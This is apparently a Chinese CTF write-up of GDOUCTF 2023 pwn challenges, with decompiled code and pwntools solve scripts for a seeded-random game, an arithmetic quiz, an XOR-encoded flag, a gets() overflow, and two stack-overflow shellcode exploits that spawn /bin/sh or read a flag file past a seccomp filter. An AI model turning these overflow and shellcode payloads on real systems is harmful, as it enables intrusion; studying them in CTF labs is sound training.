GDOUCTF2023_pwn

文章发布时间:

最后更新时间:

温故而知新
[GDOUCTF 2023]真男人下120层

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
v9 = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
v3 = time(0LL);
srand(v3);
v8 = 2772839826LL;
v4 = rand();
srand(v4 % 3 - 1522127470);
......
if ( rand() % 4 + 1 != v6 )
{
printf("\x1B[31m");
puts("YOU DIED!");
printf("\x1B[0m");
return 0;
}
system("clear");
puts("Congratulation!");
cat_flag();

已知种子随机数
种子有三种情况:
0 - 1522127470
1 - 1522127470
2 - 1522127470

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <stdlib.h>
int main()
{
int b;
//srand(0 - 1522127470);
srand(1 - 1522127470);
//srand(2 - 1522127470);//三选一,不行多跑几次
for (int i = 1; i <=120; i++){
b = rand() % 4 + 1;
printf("\'%d\',", b);
}
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

io = remote('node5.anna.nssctf.cn',28310)
s = ['2','3','1','3','2','2','1','3','2','2','4','2','1','4','2','2','3','2','1','3','3','2','4','2','4','2','1','1','3','1','1','1','4','2','3','1','3','4','3','4','1','2','1','1','1','3','2','3','4','3','1','3','4','4','4','3','1','1','4','4','1','4','4','4','1','2','4','3','1','2','3','1','3','3','2','3','1','3','1','1','1','1','3','1','4','2','3','1','2','2','4','3','2','3','2','2','4','2','1','1','3','3','1','2','1','2','4','2','1','1','2','1','1','4','1','1','1','4','1','3',]
for i in range(120):
io.recv()
io.sendline(str(s[i]))

io.recv()
io.recv()
io.recv()

靶机随机数生成可能不一样,多试几次
[GDOUCTF 2023]小学数学

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import random
import signal

def ran():
return random.randint(999,99999)
def add():
question = f"{ran()} + {ran()} = "

print(question.replace('+','-'))
answer = eval(question[:-2])

calc = input()
if calc == str(answer):
print("Correct.")
else:
print("Wrong.")
exit(0)

def sub():
question = f"{ran()} - {ran()} = "

print(question.replace('-','x'))
answer = eval(question[:-2])

calc = input()
if calc == str(answer):
print("Correct.")
else:
print("Wrong.")
exit(0)

def mul():
question = f"{ran()} x {ran()} = "

print(question.replace('x','//'))
answer = eval(question[:-2].replace('x','*'))

calc = input()
if calc == str(answer):
print("Correct.")
else:
print("Wrong.")
exit(0)

def div():
question = f"{ran()} // {ran()} = "

print(question.replace('//','%'))
answer = eval(question[:-2])

calc = input()
if calc == str(answer):
print("Correct.")
else:
print("Wrong.")
exit(0)

def mod():
question = f"{ran()} % {ran()} = "

print(question.replace('%','+'))
answer = eval(question[:-2])

calc = input()
if calc == str(answer):
print("Correct.")
else:
print("Wrong.")
exit(0)



print(" ____ ____ ___ _ _ ____ _____ _____ ")
print(" / ___| _ \ / _ \| | | | / ___|_ _| ___|")
print("| | _| | | | | | | | | | | | | | | |_ ")
print("| |_| | |_| | |_| | |_| | | |___ | | | _| ")
print(" \____|____/ \___/ \___/ \____| |_| |_| ")
print(" ")
print("Welcome to the calculate challenge. Please try to solve 300 Question in 600 seconds.")
print("ATTENTION: This is an April Fool's game, and the real problem may not be what it seems")
print("")
input("Press Enter to start...")
signal.alarm(600)

for i in range(300):
print("Round: "+str(i+1))
random.choice([add,sub,mul,div,mod])()


flag = open('/flag').read()
print("Congratulations on passing the challenge. This is your flag: " + str(flag))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.log_level = 'debug'
p = remote('node2.anna.nssctf.cn',29000)
io.sendline(b'')
print('plz wait..')
for i in range(300):
io.recvuntil(str(i+1).encode())
num1 = int(io.recvuntil(b' '))
op = io.recvuntil(b' ')
num2 = int(io.recvuntil(b' '))
print(num1, op[0], num2)
if(op[0] == ord('-')):
io.sendline(str(num1+num2).encode())
elif(op[0] == ord('x')):
io.sendline(str(num1-num2).encode())
elif(op[0] == ord('/')):
io.sendline(str(num1*num2).encode())
elif(op[0] == ord('%')):
io.sendline(str(num1//num2).encode())
else:
io.sendline(str(num1%num2).encode())

io.interactive()

[GDOUCTF 2023]奇怪的ELF
Linux1直接运行就行
Linux2是arm架构下编译的,走逆向

1
2
.data:0000000000003A60                               ; char flag[17]
.data:0000000000003A60 F2 EE E3 D9 CA EF E8 F3 FE D9+flag DCB 0xF2, 0xEE, 0xE3, 0xD9, 0xCA, 0xEF, 0xE8, 0xF3, 0xFE, 0xD9, 0xF1, 0xE9, 0xF4, 0xEA, 0xE2, 0xA7, 0xFB
1
2
3
4
5
6
7
8
flag =[
0xCE, 0xDC, 0xC5, 0xD2, 0xC0, 0xFD, 0xF1, 0xE3, 0xEA, 0xE5,
0xE9, 0xEB, 0xE3, 0xD9, 0xF2, 0xE9, 0xD9,
0xF2, 0xEE, 0xE3, 0xD9, 0xCA, 0xEF, 0xE8, 0xF3, 0xFE, 0xD9,
0xF1, 0xE9, 0xF4, 0xEA, 0xE2, 0xA7, 0xFB
] #flag1+flag2
for i in flag:
print(chr(i^0x86),end='')

HZCTF{welcome_to_the_Linux_world!}
[GDOUCTF 2023]EASY PWN

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int check()
{
int result; // eax
char buf[10]; // [rsp+7h] [rbp-29h] BYREF
char s1[15]; // [rsp+11h] [rbp-1Fh] BYREF
ssize_t v3; // [rsp+20h] [rbp-10h]
int fd; // [rsp+28h] [rbp-8h]
int v5; // [rsp+2Ch] [rbp-4h]

v5 = 0;
fd = open("/dev/urandom", 0);
if ( fd < 0 )
{
puts("Can't access /dev/urandom.");
exit(1);
}
v3 = read(fd, buf, 0xAuLL);
if ( v3 < 0 )
{
puts("Data not received from /dev/urandom");
exit(1);
}
close(fd);
puts("Password:");
gets(s1);
result = strcmp(s1, buf);
if ( result )
result = puts("I swore that was the right password ...");
else
v5 = 1;
if ( v5 )
{
puts("Guess I couldn't gaslight you!");
return print_flag();
}
return result;
}

把v5覆盖成不为0的值即可
[GDOUCTF 2023]Shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[10]; // [rsp+6h] [rbp-Ah] BYREF

setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
setbuf(stdout, 0LL);
mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
puts("Please.");
read(0, &name, 0x25uLL);
puts("Nice to meet you.");
puts("Let's start!");
read(0, buf, 0x40uLL);
return 0;
}

可以看到第一个read可以把输入的东西直接写入.bss段,第二个read存在明显的栈溢出,所以思路很明确,第一次输入将shellcode写在.bss段上,再用第二次输入溢出后跳到.bss段执行shellcode。
唯一坑:shellcode有长度限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
import sgtlibc
elf=ELF('./shellcode')
pop_rdi_addr = 0x4007b3
ret_addr = 0x4007AD
main_addr = 0x400687
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
bss_addr = 0x6010a0

context(arch='amd64', os='linux', log_level='debug')

p = remote('node2.anna.nssctf.cn',28500)
#wrongpayload1 = asm(shellcraft())
payload1="\x48\xBB\x2F\x62\x69\x6E\x2F\x73\x68\x00\x53\x54\x5F\x31\xF6\x31\xD2\x6A\x3B\x58\x0F\x05"
p.sendlineafter("Please.\n",payload1)
payload2 = b'a'*(0xa+8)+p64(bss_addr)
p.sendlineafter('start!\n',payload2)
p.interactive()

贴两个传送门:https://www.roderickchan.cn/zh-cn/2023-02-20-the-art-of-shellcode //art of the shellcode
https://defuse.ca/online-x86-assembler.htm#disassembly //编译shellcode的网站

[GDOUCTF 2023]Random
开了沙盒

1
2
3
4
5
6
7
8
9
str1k3@ubuntu:~/Desktop$ seccomp-tools dump '/var/run/vmblock-fuse/blockdir/QC26KN/RANDOM' 
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW

0x60100到0x60200这段内存可读可写可执行,所以尝试把shellcode写入这段后将执行流劫持到该段
haha函数内存在jmp rsp指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from ctypes import *

context.arch='amd64'

# 连接远程
p = remote("node6.anna.nssctf.cn",28969)
# 加载rand函数的所在函数库
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(libc.time(0))#设置srand函数

jmp_sp = 0x40094E
data_addr = 0x601000

#通过随机数验证 程序会跳转到vulnerable函数
p.sendlineafter("num:",str(libc.rand()%50))

"""
利用 jmp_sp + asm 的攻击方式 让sp指针跳回变量地址 执行shellcode:
在data_addr 0x601000 写入orw_shellcode后
并跳转执行data_addr 0x12300的orw_shellcode
"""
payload=asm(shellcraft.read(0,data_addr,0x100))#调用read函数 在data_addr 0x601000处写入 orw_shellcode内容
payload+=asm('mov rax,0x601000;call rax')#并且call ax寄存器 调用执行 data_addr 0x601000处的orw_shellcode
payload=payload.ljust(0x28,b'\x00')#打满变量空间 和 rbp寄存器的字节
payload+=p64(jmp_sp)#返回地址写成jmp_esp,继续运行当前sp后续指令 填写别的返回地址 就无法控制程序后面的执行流程了
payload+=asm('sub rsp,0x30;jmp rsp')#此时sp已经离shellcode地址偏移0x30,这里把sp挪回到shellcode地址 并跳转到shellcode
p.sendlineafter("your door\n",payload)

"""
orw_shellcode执行的内容:
打开本地的flag文件
把flag文件内容写入到 data_addr+0x100
把输出data_addr+0x100的flag文件内容
"""
orw_shellcode = shellcraft.open("./flag")#打开本地的flag文件
orw_shellcode += shellcraft.read(3, data_addr+0x100, 0x50)#文件描述符3:其它打开的文件 flag内容写入到data_addr+0x100
orw_shellcode += shellcraft.write(1, data_addr+0x100,0x50)#文件描述符1:输出 地址data_addr+0x100存储的flag内容
p.send(asm(orw_shellcode))

p.interactive()